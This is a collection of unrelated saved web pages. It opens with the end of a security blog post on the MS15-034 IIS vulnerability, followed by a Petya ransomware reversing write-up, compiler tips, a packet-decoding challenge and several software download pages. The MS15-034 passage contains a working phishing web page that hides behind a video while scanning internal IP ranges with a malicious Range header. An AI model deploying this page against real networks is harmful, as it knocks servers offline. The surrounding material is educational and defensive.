from the exploited server since it would call directly back out to the
attacker. So far, MS15-034, only results in DoS and apparently some limited
and inconsistent Information Disclosure \(though I have not been able to
replicate\).

So does that mean internal systems are completely safe from a phishing attack?
Not necessarily. It’s not uncommon to see some relaxed CORS rules on the
internal network \(for both clients and servers\) so keep that in mind when
considering your own environment. Also, although there is no published RCE
yet, it doesn’t mean one doesn’t exist \(though it’s not necessarily easy
given this is an integer overflow\).

To demonstrate how this could work, I configured a test IIS server with some
insecure, unrestricted response headers:

<img src='img/Temp2_533.png' width='431' height='203' alt='ms15_034_13' />

I then created this simple web page \(a modified version of my Shellshock
exploit\):

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748 | <html><head><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script><script>function getParams\(param\_in\) \{ var suburl = window.location.search.substring\(1\); var params = suburl.split\('&'\); for \(var i = 0; i < params.length; i++\) \{ var param\_val = params\[i\].split\('='\); if \(decodeURIComponent\(param\_val\[0\]\) == param\_in\) \{ return decodeURIComponent\(param\_val\[1\]\); \} \}\}$\(document\).ready\(function\(\) \{ var start = getParams\('s'\); // starting ip address to target var end3 = getParams\('e3'\); // end of target ip address range octet 3 var end4 = getParams\('e4'\); // end of target ip address range octet 4 var dot = '.'; var socts = start.split\(dot\); // get starting ip address octets var octs1\_2 = socts\[0\]+dot+socts\[1\]; var urlArray = \["/welcome.png"\]; // the resource\(s\) to request on target var myHeader = 'bytes=100-18446744073709551615' // malicious header var urlArrayLen = urlArray.length; // loop through target ip range and request each resource from urlArray for \( var oct3 = socts\[2\]; oct3 <= end3; oct3++ \) \{ for \(var oct4 = socts\[3\]; oct4 <= end4; oct4++\) \{ for \(var i = 0; i < urlArrayLen; i++\) \{ var ipaddress = octs1\_2+dot+oct3+dot+oct4+urlArray\[i\]; console.log\("Scanning: " + ipaddress\); $.ajax\(\{ url: "http://"+ipaddress, headers: \{"Range": myHeader\}, type: "GET" \}\); \} \} \}\}\);</script></head><body><div style="text-align:center"><iframe width="1000" height="815" src="https://www.youtube.com/embed/ngElkyQ6Rhs?autoplay=1" frameborder="0" allowfullscreen></iframe></div></body></html>  
---|---  
Should the victim visit this page \(via a phishing email perhaps\), they will
be treated to a trailer of the new Star Wars movie. At the same time, the
embedded JavaScript will kick off a series of requests to their internal
network \(as dictated by the provided GET parameters\) attempting to exploit
this Range header vulnerability.

The corresponding phishing link would be formatted as follows:
http://attackersite.com?s=192.168.0.0.&e3=255&e4=255

In this case, s is IP address at which to start exploiting and e3 and e4 are
the values at which to stop exploiting for the third and fourth octet
respectively. In the case of the above URL, the phishing target will attempt
to exploit every asset from 192.168.0.0 to 192.168.255.255.

<img src='img/Temp2_545.png' width='438' height='369' alt='ms15_034_14' />

So how likely is this to actually be exploited on internal servers? Probably
not very likely, especially if you’ve restricted CORS internally and have a
trained user population that isn’t very susceptible to phishing. Either way, I
think it’s important to always think of how exploits such as these could find
their way into the internal network and ensure you’ve got a plan to patch all
of your assets.

### Conclusion

I hope this post provided some useful details and ideas regarding the MS15-034
vulnerability. As with any Critical, remotely executable vulnerability, I
recommend you patch/mitigate as soon as possible.

Until next time,

Mike

Follow @securitysift

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# Contents - Exploit Development Community

**Created:**| _6/3/2015 1:49:22 PM_  
---|---  
**Updated:**| _6/3/2015 1:49:22 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Contents

The following two tabs change content below.

#### Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of
computer security \(+ piano player & music composer\)

# How to trick C/C++ compilers into generating terrible code? | Future Chips
**Created:**| _10/24/2011 11:35:20 AM_  
---|---  
**Updated:**| _10/24/2011 11:35:20 AM_  
**Author:**| __  
**Tags:**| _C++ compiler-building programming_  
  

# How to trick C/C++ compilers into generating terrible code?

In my computer architecture course, I was told that a processor is like a car.
The steering and the pedals are the ISA, the engine is the microarchitecture,
and the software is the driver. I will extend that analogy further, and say
that using a compiler is like using a remote-controller to operate the car.
While remote controls are great, it is also important to understand their
inner-workings. I see a lot of code –in professional software– that can
confuse even the smartest compilers. In this post I cover three common tricks
to confuse a compiler.

_Before I fully dive into compilers, I want to add a quick disclaimer: While I
do agree that our compilers need improvement, I also believe that compilers
will forever have melting points and can always benefit from a little help
from the programmers._

**Compilers**

A compiler takes your high-level code and converts it into machine code. I
view the compiler as the following:

<img src='img/Temp2_4119.png' width='640' height='117' alt='Screen shot
2011-05-30 at 12.56.00 PM' />

Optimizing the code requires the compiler to perform some extensive analysis.
A simple example is dead code elimination \(DCE\). In DCE, the compiler
eliminates code that is not reachable. For example, the loop on lines 3 and 4
will be eliminated by the compiler because the loop’s results are never used.

1: void foo\(\)\{  
2: int x;  
3: for\(int i = 0; i < N; i++\)  
4: x += i;  
5: \}

In DCE, the compiler performs reverse data flow analysis \(def-use\) to
determine which variables are unused. It then eliminates the lines that are
writing this unused variable. For the compiler to perform DCE and other
similar optimizations, it must be able to decipher, with 100% confidence,
whether or not a variable is going to be accessed. Herein lies our opportunity
to confuse the compiler. We can exploit some well-known weak points.

**Function calls**

Compiler analysis is a very compute-intensive task. For reference, the code of
the compiler itself is perhaps the most irregular and complex code in
existence. Moreover, the optimization problems emerge very quickly. To keep
compile time under control, compilers often limit the scope of analysis to
functions and only perform limited–or even no–inter-procedural analysis
\(IPA\). As an added benefit, treating functions as independent entities also
allows compilers to compile files in parallel.

Adding multiple layers of function calls, _ideally_ split across files, is
often a good method to confuse the compiler.

Lets look at this example:

1: void foo\(\)\{  
2: int x;  
3: for\(int i = 0; i < N; i++\)  
4: x += bar\(i\);  
5: \}

A different file contains:

  
1: void bar\(int i\)\{  
2: return i;  
3: \}  

A programmer may think that the only overhead is the function call to bar.
However, when compiling foo, the compiler is unable to see that bar does not
have any side-effect like writing to a global variable or I/O. For this
reason, it disables DCE and the entire useless loop now needs to execute. This
can result in a substantial slowdown.  
****

**Pointers**

I have seen a lot of programmers use pointers unnecessarily. In general, the
pointer dereference \(if anything\) is considered to be the main overhead of
using pointers. In reality, pointers pose a major overhead by confusing the
compiler.

A pointer, in theory, is allowed to point _anywhere_ in memory. As soon as the
compiler sees a pointer, it can no longer be sure which variables are being
accessed. Consequently, compilers take a pessimistic assumption that several
variables in scope can be accessed using the pointer. This often creates many
false dependencies in the eyes of the compiler. My classic example is the
following loop I found in an image processing application:

1: for\(int i = 0; i < N; i++\)  
2: \*a++ = \*b++ + \*c++;

After careful inspection, a human can decipher that the code is really just
doing:

1: for\(int i = 0; i < N; i++\)  
2: a\[i\] =b\[i\] + c\[i\];  
3: a += N;  
4: b += N;  
5: c += N;

The first code confuses the compiler. Even though the loop iterations are
independent, the compiler assumes that they are not; thus, the compiler does
not vectorize this code. In contrast, the compiler is able to vectorize the
second code.

_For reference: The vectorized code runs 5x faster. Recall that multi-
threading this kernelgave us 4x on 4 cores with some programmer effort. This
auto-vectorized version gives 5x speedup with a single core and no programmer
effort._ _I tried both the Intel C Compiler \(ICC\) 9.1 and GCC 4.1. I quote
results with ICC only because it outperforms GCC in all my examples._

**If all else fails, use global variables**

Global variables are considered evil for many reasons. I am about to provide
one more. Since they have global scope, code involving global variables cannot
be fully optimized by the compiler. For example, I noticed that the following
code runs 30% faster if N was a local variable than if it was a global
variable.

1: for\(int i = 0; i < N; i++\)  
2: a\[i\] =b\[i\] + c\[i\];

When I declared N as a global variable, the compiler left it in memory and
added a load instruction to the loop. When I put N as a local variable, the
compiler loaded it into a register. While I do blame the compiler for this
particular behavior \(because I did not declare N as volatile\), we have to
work with what we have.

**Conclusion**

It is important to keep IPA and pointer-aliasing in mind when writing C/C++
code. This simple consideration can help the compiler generate code which runs
much faster.

**A related tip:** I have observed that both GCC and ICC are sensitive to the
link order, i.e., the generated code is a function of the order in which the
input files are specified in the linker command. This can inflict a major
impact \(up to 10%\) on performance due to caches and branch prediction. If
you truly value performance, it is worth manipulating the link order.

# Packet Challenge « I Smell Packets

**Created:**| _5/11/2009 10:07:26 AM_  
---|---  
**Updated:**| _5/11/2009 10:07:45 AM_  
**Author:**| __  
**Tags:**| _packet-analysis_  
  

Earlier today I tweeted an easy little packet challenge. The challenge for me
was keeping that packet to less than 140 characters. Here is a short
description of how I created the challenge:

First, I created the payload for the packet. I did this by placing some text
in a file using the following command:

echo 1st2DMmegetsAStarbuckscard > payload.txt

Next, I used a tool called Hping to craft the packet:

hping3 –icmp –file payload.txt –data 26 127.0.0.1

In the above command, the –icmp instructs hping to create an ICMP packet. The
–file option specifies a file to be used as the payload. Next, the –data
option tells hping how many bytes of data in the payload. In this case, it’s
26 bytes data. Finally there is the destination IP address which is 127.0.0.1.

To capture the packet, I ran a sniffer called tcpdump:

tcpdump -i lo0 -X -s0

Here is packet in HEX:

4500 0036 308b 0000 4001 0000 7f00 0001 7f00 0001 0800 89f3 5a27 0200 3173
7432 444d 6d65 6765 7473 4153 7461 7262 7563 6b73 6361 7264

Decoding the Packet

Here is quick run though of how to decode the packet. First of all, when
decoding packets it’s often helpful to have a reference. Here is a link to the
SANS website where you can download the TCP/IP Pocket Reference from. I call
this the cheat sheet.

There are also a couple of other points to remember:

1\. Every two HEX characters equals one byte.

2\. Start counting with 0.

Starting with byte 0, there is 45. Highlighted below:

**45** 00 0036 308b 0000 4001 0000 7f00 0001 7f00 0001 0800 89f3 5a27 0200
3173 7432 444d 6d65 6765 7473 4153 7461 7262 7563 6b73 6361 7264

Find the IP header section on the cheat sheet. Notice that in byte 0 we find
the IP Version Number and the IP Header Length fields. The 4 in the IP Version
Number field means is an IP Version 4 packet. The next field, the IP Header
Length, there is a 5. This represents 32-bit words. So, in order to calculate
the IP Header Length we need to multiply this field by 4. 5\*4=20. Therefore,
the IP Header length is 20 bytes.

Next count 20 bytes. Remember, every two HEX characters equals one byte and
start counting at 0.

**4500 0036 308b 0000 4001 0000 7f00 0001 7f00 0001** 0800 89f3 5a27 0200 3173
7432 444d 6d65 6765 7473 4153 7461 7262 7563 6b73 6361 7264

The portion highlighted above is the IP Header. What comes next? To find out
look at the Protocol Field of the IP Header. According to the cheat sheet the
Protocol Field is found in byte 9 of the IP Header. Looking back at the
packet, there is a 01 in there:

4500 0036 308b 0000 40**01** 0000 7f00 0001 7f00 0001 0800 89f3 5a27 0200 3173
7432 444d 6d65 6765 7473 4153 7461 7262 7563 6b73 6361 7264

Referring back to the cheat sheet, a 1 in the Protocol Field of the IP Header
means that the next protocol is going to be ICMP. Remember that when I created
this packet I specified ICMP, so this is what one would expect here. Now the
ICMP part of the packet. The IP Header Length was 20 bytes, after that begins
the ICMP protocol portion. This is highlighted below:

4500 0036 308b 0000 4001 0000 7f00 0001 7f00 0001 **0800 89f3 5a27 0200 3173
7432 444d 6d65 6765 7473 4153 7461 7262 7563 6b73 6361 7264**

To decode this portion of the packet look at the ICMP Header section of the
cheat sheet. The first couple of bytes of the ICMP Header are the Type and
Code fields. There is a 0800 in those fields, meaning, referring back to the
cheat sheet that this is an ICMP Echo or a PING.

Since it’s a PING, drop down to the Ping section of the cheat sheet and locate
the Data section of the ICMP Echo. This Data should contain the text in the
payload.txt file. Here is the Data section highlighted:

4500 0036 308b 0000 4001 0000 7f00 0001 7f00 0001 0800 89f3 5a27 0200 **3173
7432 444d 6d65 6765 7473 4153 7461 7262 7563 6b73 6361 7264**

  
These bytes fall into the ASCII printable range, so convent it to ASCII.

31 73 74 32 44 4d 6d 65 67 65 74 73 41 53 74 61 72 62 75 63 6b 73 63 61 72 64  
1 s t 2 D M m e g e t s A S t a r b u c k s c a r d

This is just a brief explanation. It may seem like a lot of work, but it’s
really not that difficult. Like most other things it takes a little practice.
Some people can even do this in their sleep, I assure you I’m not one of those
people.

Another thing that someone could have done was just to look for that HEX that
falls into the ASCII printable range. They would’ve immediately focused in on
the payload. Maybe I’ll use some double XOR encryption next time to make it
harder. <img src='img/Temp2_6088.gif' alt=';)' />

One of my favorite courses is the SANS Security 503: Intrusion Detection In-
Depth course. In that course you get to spend 6 days learning all about TCP/IP
and performing traffic analysis. There are a ton of hands-on exercises. And
unlike other courses that may teach networking and TCP/IP, in this course you
get to learn this stuff from an attackers perspective.

Congratulations to @quine for being the first to send me a message and winning
the Starbucks Card. It’s on the way.

# Coding | Reversing: Reversing the petya ransomware with constraint solvers
**Created:**| _8/15/2016 1:46:46 PM_  
---|---  
**Updated:**| _8/15/2016 1:46:46 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  Reversing the petya ransomware with constraint solvers

With the advent of anonymous online money transactions \(read Bitcoin\)
ransomware has become a profitable business in the cybercrime industry. This
combined with the Tor network hides the attackers identity. Further, low
infosec literacy makes social engineering really easy. All you need to do is
send an email with an attached word file for a failed FedEx delivery etc. The
victim would download the attachment, run the word file, enable macros, all
without thinking a bit.

  
Minutes later he/she would be staring at a screen that may look like this  
  
<img src='img/Petya-2016-04-17-22-54-41.png' width='400' height='220' alt='The
Petya lock screen' />  
---  
Fig 1: The Petya lock screen  
  

In panic, the hapless user may call his tech friend or google \(seriously?\)
and be convinced that he/she has really lost all data. Now either he/she heed
to the attacker's demands and pay the ransom or just forget it. Paying the
ransom is however not too easy. There is no paypal, no credit card. The
attackers accepts payments only in bitcoins and you also need to install the
so called tor browser. This is the end of the road for many.

  

For us reversers, this is not the end. We try to find out if the user can have
his/her data recovered WITHOUT paying the ransom. However this is not always
possible particularly if the malware coders are experts. If not then we may
have a way in just as was the case of the Petya ransomware which is the topic
for today's blog post.

  

##  Preliminary Analysis

The sample on which the analysis has been done can be found here.

The malware is different & unique from typical ransomware as it does not
encrypts file. Instead it encrypts the MFT \(Master File Table\) on NTFS
volumes. In short, on NTFS the MFT is a table which contains information about
each and every file on the partition. For small files, the file content may be
stored entirely within the MFT. For larger files, it contains a pointer to the
actual data.

  

Encrypting the MFT is advantageous in the sense that the operation is very
fast. You do not need to recursively traverse the entire drive to find the
files. The files are there on the disk but the system does not know where to
find them. This is as good as having the individual files encrypted.

  

The downside of having the MFT encrypted is the malware will need to be low
level & sophisticated. Since the system cannot boot the OS a custom bootloader
has to be developed. The code has to be 16-bit running in real mode. It has to
use the BIOS interrupt services to communicate with the user. This is not an
easy task considering we are used to develop in 32/64 bit with memory
protection, segmentation and other niceties by the OS. In real mode we are
responsible for everything.

  

##  Initial Triage

My favourite OS for reverse engineering tasks like this is old and trusty
Windows XP. However for reasons unknown I could not get this sample running.
Hence, I had to resort to a Windows 7 SP1 x86 VM. Running the sample leads to
a BSOD after some seconds.

  

<img src='img/Petya-2016-04-17-20-22-39.png' width='400' height='300'
alt='Blue Screen Of Death' />  
---  
Fig 2: The BSOD  
This BSOD is generated entirely from user mode by calling an undocumented API
NtRaiseHardError. On the next boot a fake chkdsk scan starts to run.

<img src='img/Petya-2016-04-17-22-54-12.png' width='400' height='220' />  
---  
Fig 3: The malware is hiding its action behind the fake scan.  
In reality, the malware is doing its dirty work of encrypting the MFT. The
chkdsk is just a decoy. When done we are presented with the redemption screen
as in Fig 4 and then Fig 1. However it is not that scary as it looks :\).  
  
<img src='img/Petya-2016-04-22-22-58-25.png' width='400' height='221'
alt='SKULL' />  
---  
Fig 4: Danger Ahead\!  
##  Carving the mal-bootloader from disk

To perform static analysis we need the malicious bootloader. Since I have used
vmware here, the easiest way would be to attach the vmware disk image \(vmdk\)
to another virtual machine and use a tool like Active@ Disk Editor as in Fig
5. I have also developed a 010 editor template for parsing vmware disk images
directly and can be used just in case.

  

<img src='img/active+disk+editor.png' width='400' height='250' alt='Active
Disk Editor in action' />  
---  
Fig 5: Active Disk Editor in action  
We need to the extract the sectors \(first 10,000 sectors ~ 5 MiB should be
more than enough\) to a separate file.

  

##  IDA & Bochs

For static analysis we will be using IDA \(no surprises\). For dynamic
analysis we will be using the Bochs debugger. Although vmware can debug bios
code & bootloaders by its gdb stub but it is quite a pain to use efficiently.
Hence we will stick with bochs. IDA provides first class support for bochs.
Further running bochs is lot snappier than powering a full fledged vmware vm.

  

You can get the bxrc file \(bochs config file\) **here**. We can now load the
bxrc file in IDA and it automatically do the rest.

  

<img src='img/ida1.png' width='400' height='250' alt='The initial malware
code' />  
---  
Fig 6: The initial malware code  
The malware copies 32 sectors starting from sector 34 to 0x8000 and jumps to
it as in Fig 6.

  

<img src='img/ida2.png' width='400' height='320' alt='To encrypt or not' />  
---  
Fig 7: To encrypt or not  
  

Among other things, it reads sector 54 to a buffer. If the first byte contains
0 it proceeds to encrypt. If not it displays the ransom screen as shown in Fig
7. Hence the first byte of sector 54 is used mainly as a flag to decide its
further course of action.

  

##  Analyzing the decryption code

We will be focussing primarily on the decryption algorithm. After all we are
more interested in getting our data back than figuring out how it got lost.
The process is simple, it reads a string, checks it and if it is valid
decrypts our data.

  

<img src='img/ida3.png' width='400' height='215' alt='Read & Check key' />  
---  
Fig 8: Read & Check key  
It accepts a key of maximum length 73 characters, but only the first 16 of
them are used. The characters which are accepted consists of 1-9, a-z, A-X.
After this the 16 byte key is expanded to a 32 byte key by adding 122 and
doubling consecutive characters respectively. This is shown in Fig 9.

  

<img src='img/ida4.png' width='400' height='135' alt='Expanding the key' />  
---  
Fig 9: Expanding the key  
Next we reach the crux of the malware. It reads some data from sector 54 & 55
and passes them to the Crypt function. Using the 32 byte decryption key and an
8 byte Initialization Vector \(nonce\) from sector 54 it decrypts the 512
bytes of data in sector 55. If our key is correct, all byte in the decrypted
data must equal all 0x37.

  

<img src='img/ida5.png' width='320' height='299' alt='Calling Crypt' />  
---  
Fig 10: Calling Crypt  
##  Finding the encryption algorithm

The encryption algorithm used is a variant of the Salsa stream cipher. I call
this variant because properly implemented Salsa is quite secure. Well, how do
we know this is Salsa? From magic constants, of course. See Fig 11.

  

<img src='img/ida6.png' width='400' height='333' alt='expand 32-byte k' />  
---  
Fig 11: expand 32-byte k  
Searching for "expand 32-byte k" would directly lead you to Salsa. The exact
code used in the malware can be found **here**. I am using the word exact in a
broad sense. If it had been a ditto copy, we would have no chance of breaking
it. The original Salsa implementation uses 32 bit \(uint32\_t\) variables.
This salsa implementation uses 16 bit variables for the same purpose borking
it badly. Here is a snippet of the borked version. You can get the full
version **here**. Compare this to the original version.

  

1 | static uint16\_t rotl\(uint16\_t value, uint16\_t shift\)  
---|---  
2 | \{  
3 |  return \(value << shift\) | \(value >> \(32 \- shift\)\);  
4 | \}  
5 |   
6 |   
7 | static void s20\_quarterround\(uint16\_t \*y0, uint16\_t \*y1, uint16\_t \*y2, uint16\_t \*y3\)  
8 | \{  
9 |  \*y1 = \*y1 ^ rotl\(\*y0 \+ \*y3, 7\);  
10 |  \*y2 = \*y2 ^ rotl\(\*y1 \+ \*y0, 9\);  
11 |  \*y3 = \*y3 ^ rotl\(\*y2 + \*y1, 13\);  
12 |  \*y0 = \*y0 ^ rotl\(\*y3 + \*y2, 18\);  
13 | \}  
view raw borkedsalsasnip.c hosted with ❤ by GitHub

  

The primary reason for the mess up can be attributed to the fact that all of
this is running in 16 bit real mode. So the authors decide to go easy and
implement the exact same algorithm but with 16 bit variables.  
  

##  Breaking the algorithm

We already have the entire algorithm in source code. We need to fire up our
tools to go & break it. These days, my defacto tool for such analysis has
mostly been **angr**. However angr failed to work in this case. This is
expected as the framework is in a continuous state of development. Not
spending time on finding why it failed, I decided to look at other options. I
used KLEE. It did not fail but took a long time and never finished. Next, some
wild cropped up and I decided to use fuzzing based approach. For this I used
the AFL framework. No luck here too.

  

Lastly I decided to use the tried and tested Z3 constraint solver and it did
not disappoint :\). We already have the source, we just need to implement it
in Z3. The code is as follows.

  

1 | from z3 import \*  
---|---  
2 |   
3 | \# Eight byte nonce conactenated with 8 null bytes  
4 | \# Obtained from sector 54  
5 | nonce = \[0xB0, 0x99, 0x9B, 0x9E, 0xE4, 0xEE, 0x74, 0xC2, 0, 0, 0, 0, 0, 0, 0, 0\]  
6 |   
7 |   
8 | \# Verification bytes xored with 0x37  
9 | \# Obtained from sector 55  
10 | \# Expanding the key must produce this keystream  
11 | targetkeystream = \[  
12 |  0xC9, 0xF0, 0x00, 0x00, 0x3E, 0xD0, 0x00, 0x00, 0x58, 0xC5, 0x00, 0x00, 0x54, 0x03, 0x00, 0x00,  
13 |  0x88, 0xC0, 0x00, 0x00, 0xDC, 0xC8, 0x00, 0x00, 0xE0, 0x71, 0x00, 0x00, 0xC8, 0x85, 0x00, 0x00,  
14 |  0x00, 0x04, 0x00, 0x00, 0x00, 0xC1, 0x00, 0x00, 0x65, 0x5A, 0x00, 0x00, 0xCA, 0xAD, 0x00, 0x00,  
15 |  0x36, 0xC6, 0x00, 0x00, 0x8E, 0x33, 0x00, 0x00, 0x56, 0x85, 0x00, 0x00, 0xE8, 0xCA, 0x00, 0x00 \]  
16 |   
17 |   
18 | def rotl\(value, shift\):  
19 |  return \(value << shift\) | LShR\(value, 32-shift\)  
20 |   
21 | def quarterround\(y0, y1, y2, y3\):  
22 |  y1 = y1 ^ rotl\(y0 + y3, 7\);  
23 |  y2 = y2 ^ rotl\(y1 + y0, 9\);  
24 |  y3 = y3 ^ rotl\(y2 + y1, 13\);  
25 |  y0 = y0 ^ rotl\(y3 + y2, 18\);  
26 |  return y0, y1, y2, y3  
27 |   
28 | def rowround\(y\):  
29 |  y\[0\], y\[1\], y\[2\], y\[3\] = quarterround\(y\[0\], y\[1\], y\[2\], y\[3\]\)  
30 |  y\[5\], y\[6\], y\[7\], y\[4\] = quarterround\(y\[5\], y\[6\], y\[7\], y\[4\]\)  
31 |  y\[10\], y\[11\], y\[8\], y\[9\] = quarterround\(y\[10\], y\[11\], y\[8\], y\[9\]\)  
32 |  y\[15\], y\[12\], y\[13\], y\[14\] = quarterround\(y\[15\], y\[12\], y\[13\], y\[14\]\)  
33 |  return y  
34 |   
35 | def columnround\(x\):  
36 |  x\[0\], x\[4\], x\[8\], x\[12\] = quarterround\(x\[0\], x\[4\], x\[8\], x\[12\]\)  
37 |  x\[5\], x\[9\], x\[13\], x\[1\] = quarterround\(x\[5\], x\[9\], x\[13\], x\[1\]\)  
38 |  x\[10\], x\[14\], x\[2\], x\[6\] = quarterround\(x\[10\], x\[14\], x\[2\], x\[6\]\)  
39 |  x\[15\], x\[3\], x\[7\], x\[11\] = quarterround\(x\[15\], x\[3\], x\[7\], x\[11\]\)  
40 |  return x  
41 |   
42 | def doubleround\(x\):  
43 |  x = columnround\(x\)  
44 |  x = rowround\(x\)  
45 |  return x  
46 |   
47 | def littleendian\(b0, b1\):  
48 |  return b1, b0  
49 |   
50 | def rev\_littleendian\(b, w, i\):  
51 |  b\[i + 0\] = Extract\(7, 0, w\)  
52 |  b\[i + 1\] = Extract\(15, 8, w\)  
53 |  b\[i + 2\] = BitVecVal\(0, 8\)  
54 |  b\[i + 3\] = BitVecVal\(0, 8\)  
55 |  return b  
56 |   
57 | def hash\(seq\):  
58 |  x = \[BitVec\('x\_%d' %i, 16\) for i in range\(16\)\]  
59 |  z = \[BitVec\('z\_%d' %i, 16\) for i in range\(16\)\]  
60 |   
61 |  for i in range\(16\):  
62 |  b0, b1 = littleendian\(seq\[4\*i\], seq\[4\*i + 1\]\)  
63 |  x\[i\] = z\[i\] = Concat\(BitVecVal\(0, 8\), b1\) + Concat\(b0, BitVecVal\(0, 8\)\)  
64 |   
65 |  for i in range\(10\):  
66 |  z = doubleround\(z\)  
67 |   
68 |  for i in range\(16\):  
69 |  z\[i\] += x\[i\]  
70 |  seq = rev\_littleendian\(seq, z\[i\], 4\*i\)  
71 |   
72 |  return seq  
73 |   
74 | def expand32\(k, n, keystream\):  
75 |  o = \[  
76 |  \[ 'e', 'x', 'p', 'a' \],  
77 |  \[ 'n', 'd', ' ', '3' \],  
78 |  \[ '2', '-', 'b', 'y' \],  
79 |  \[ 't', 'e', ' ', 'k' \]  
80 |  \]  
81 |   
82 |  for i in range\(0, 64, 20\):  
83 |  for j in range\(4\):  
84 |  keystream\[i+j\] = BitVecVal\(ord\(o\[i / 20\]\[j\]\), 8\)  
85 |   
86 |  for i in range\(16\):  
87 |  keystream\[4+i\] = k\[i\]  
88 |  keystream\[44+i\] = k\[i+16\]  
89 |  keystream\[24+i\] = n\[i\]  
90 |   
91 |  keystream = hash\(keystream\)  
92 |  return k, n, keystream  
93 |   
94 | def main\(\):  
95 |  global nonce, targetkeystream  
96 |   
97 |  n = \[BitVecVal\(i, 8\) for i in nonce\]  
98 |  keystream = \[0\] \* 64  
99 |  key, bvlist = \[\], \[\]  
100 |   
101 |  for i in range\(16\):  
102 |  bv = BitVec\('k\_%d' %i, 8\)  
103 |  bvlist.append\(bv\)  
104 |  key.append\(bv+122\)  
105 |  key.append\(bv\*2\)  
106 |   
107 |  key, n, keystream = expand32\(key, n, keystream\)  
108 |  s = Solver\(\)  
109 |   
110 |  for i in range\(len\(targetkeystream\)\):  
111 |  s.add\(keystream\[i\] == targetkeystream\[i\]\)  
112 |   
113 |  if s.check\(\) == sat:  
114 |  print 'Key Found:',  
115 |  m = s.model\(\)  
116 |  keystring = reduce\(lambda acc, x: acc + '1' if m\[x\] == None else acc + chr\(m\[x\].as\_long\(\)\), bvlist, ''\)  
117 |  print keystring  
118 |   
119 | if \_\_name\_\_ == '\_\_main\_\_':  
120 |  main\(\)  
view raw salsacracker.py hosted with ❤ by GitHub

The program has to be provided with the 8 byte nonce from sector 54. and 64
bytes from sector 55 after xoring with 0x37. The remainder of the program is a
literal transcription of the c source and hence not explained. Running the
program we get our decryption key in a few milliseconds. Apply the decryption
key & hope for the best.  
  
<img src='img/Petya-2016-04-21-22-42-57.png' width='400' height='220' />  
---  
Fig 12: Mission accomplished\!  
Mission accomplished.  
  

##  References

  * http://blog.trendmicro.com/trendlabs-security-intelligence/petya-crypto-ransomware-overwrites-mbr-lock-users-computers/
  * http://www.bleepingcomputer.com/news/security/petya-ransomware-skips-the-files-and-encrypts-your-hard-drive-instead/
  * https://github.com/leo-stone/hack-petya
  * http://pastebin.com/Zc16DfL1

Posted by  Extreme Coders at 01:34:00 <img src='img/icon18_email.gif'
width='18' height='13' />

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: angr, constraint satisfaction, ida, malware, petya, python,
ransomware, symbolic execution, z3

  

  *[01:34:00]: 2016-04-23T01:34:00+05:30

# Qfsm - Homepage

**Created:**| _1/18/2013 8:43:09 AM_  
---|---  
**Updated:**| _1/24/2013 9:13:21 AM_  
**Author:**| __  
**Tags:**| _bookmark software GUI parser_  
  

<img src='img/Temp2_6543.gif' width='215' height='154' alt='Qfsm' />|    
---|---  
# A graphical tool for designing finite state machines  
<img src='img/Temp2_6542.gif' width='420' height='36' />  


  

## Download

You can download the source code of Qfsm 0.53 here.

Please read the "INSTALL" file for installation instructions. Or consult the
user manual in PDF format or online in HTML format.

There is also a binary RPM \(openSUSE 12.1\) and a Windows executable. They
can be downloaded from the Qfsm Sourceforge project web site.

## Requirements for the most recent version

  * Qt version 4.4.3 or higher \(available from here\)
  * CMake 2.6.2 or higher \(available from here\)
  * Graphviz library 2.28.0 or higher \(optional\) \(available from here\)

Currently there are no other requirements. If you have any problems installing
or any other comments, please mail me. 

# Simple Bandwidth Limiter - libBand

**Created:**| _10/15/2010 1:08:09 PM_  
---|---  
**Updated:**| _10/15/2010 1:11:04 PM_  
**Author:**| __  
**Tags:**| _Linux admin_  
  

LibBand home page  

* * *
LibBand is a simple library wrapper written in assembly and C \(but I plan to
rewrite everything in C\) useful if you want to limit the bandwidth used by a
program.

It simply overrides some libc functions, using the LD\_PRELOAD environment
variable, and puts some pauses in the program to clamp the bandwidth at the
specified value, for both upload and download operations.

You just have to set UPLOAD\_BAND and DOWNLOAD\_BAND and run your program, for
example:  
  
export LD\_PRELOAD=/replace-with-the-path/to/libband.so  
export UPLOAD\_BAND=1024  
export DOWNLOAD\_BAND=8192  
ftp somewhere.com  
  
The bandwidth must be expressed in bytes/s, and so in the above example, we
want the upload band clamped at 1.0 kb/s, the download band at 8.0 kb/s.  
  
There's a small utility in the scripts/ directory, called lb: you can use it
to set everything and start your program from a nice whiptail/dialog
environment.  
  
You need NASM to build the binary \(but don't worry, a pre-assembled version
is included in the package\).  
Just type "make" to compile, and "make install" to install the library.  
Remember that $HOME/lib is the default installation directory, so you usually
have to export LD\_PRELOAD by using:  
export LD\_PRELOAD=$HOME/lib/libband.so  
The "lb" script is configured to work with this path, but you may change it by
editing the script itself \(search for the LIBPATH variable\).  
  
Please note that at the moment libBand DOESN'T WORK with multithreaded and
\_graphic\_ applications.  
  

* * *
_Download_ :  
  
Instructions:  
README  
  
libBand 0.01: \(latest\)  
libband-0.01.tar.gz  
ChangeLog  
  
libBand alpha:  
libband-alpha.tar.gz  
  

* * *
_Links:_  
  
The libBand sourceforge project page is here.  

  

# Download details: Application Verifier

**Created:**| _9/26/2009 12:32:49 PM_  
---|---  
**Updated:**| _9/26/2009 2:34:44 PM_  
**Author:**| __  
**Tags:**| _windows security software testing_  
  

| Click Here to Install Silverlight| <img src='img/Temp2_2376.jpg' width='250'
height='22' alt='*' />  
---|---  
| United States | Change| | | All Microsoft Sites|   
---|---|---|---|---  
| <img src='img/Temp2_2380.jpg' width='136' height='42' alt='Microsoft' />  
---  
  
  
|

# Microsoft Application Verifier

##### Brief Description

v4.0.665  
Application Verifier is a runtime verification tool for native code that
assists in finding subtle programming errors that can be difficult to identify
with normal application testing.

#### On This Page

Quick DetailsOverviewSystem RequirementsInstructionsAdditional
InformationRelated ResourcesWhat Others Are Downloading<img
src='img/Temp2_2377.jpg' width='7' height='9' />Download files below

##### Quick Details

| Version: | 4.0.665   
---|---  
Date Published: | 12/8/2008   
Language: | English   
Download Size: | 7.6 MB - 38.0 MB\*   
\*Download size depends on selected download components.  
#### Overview

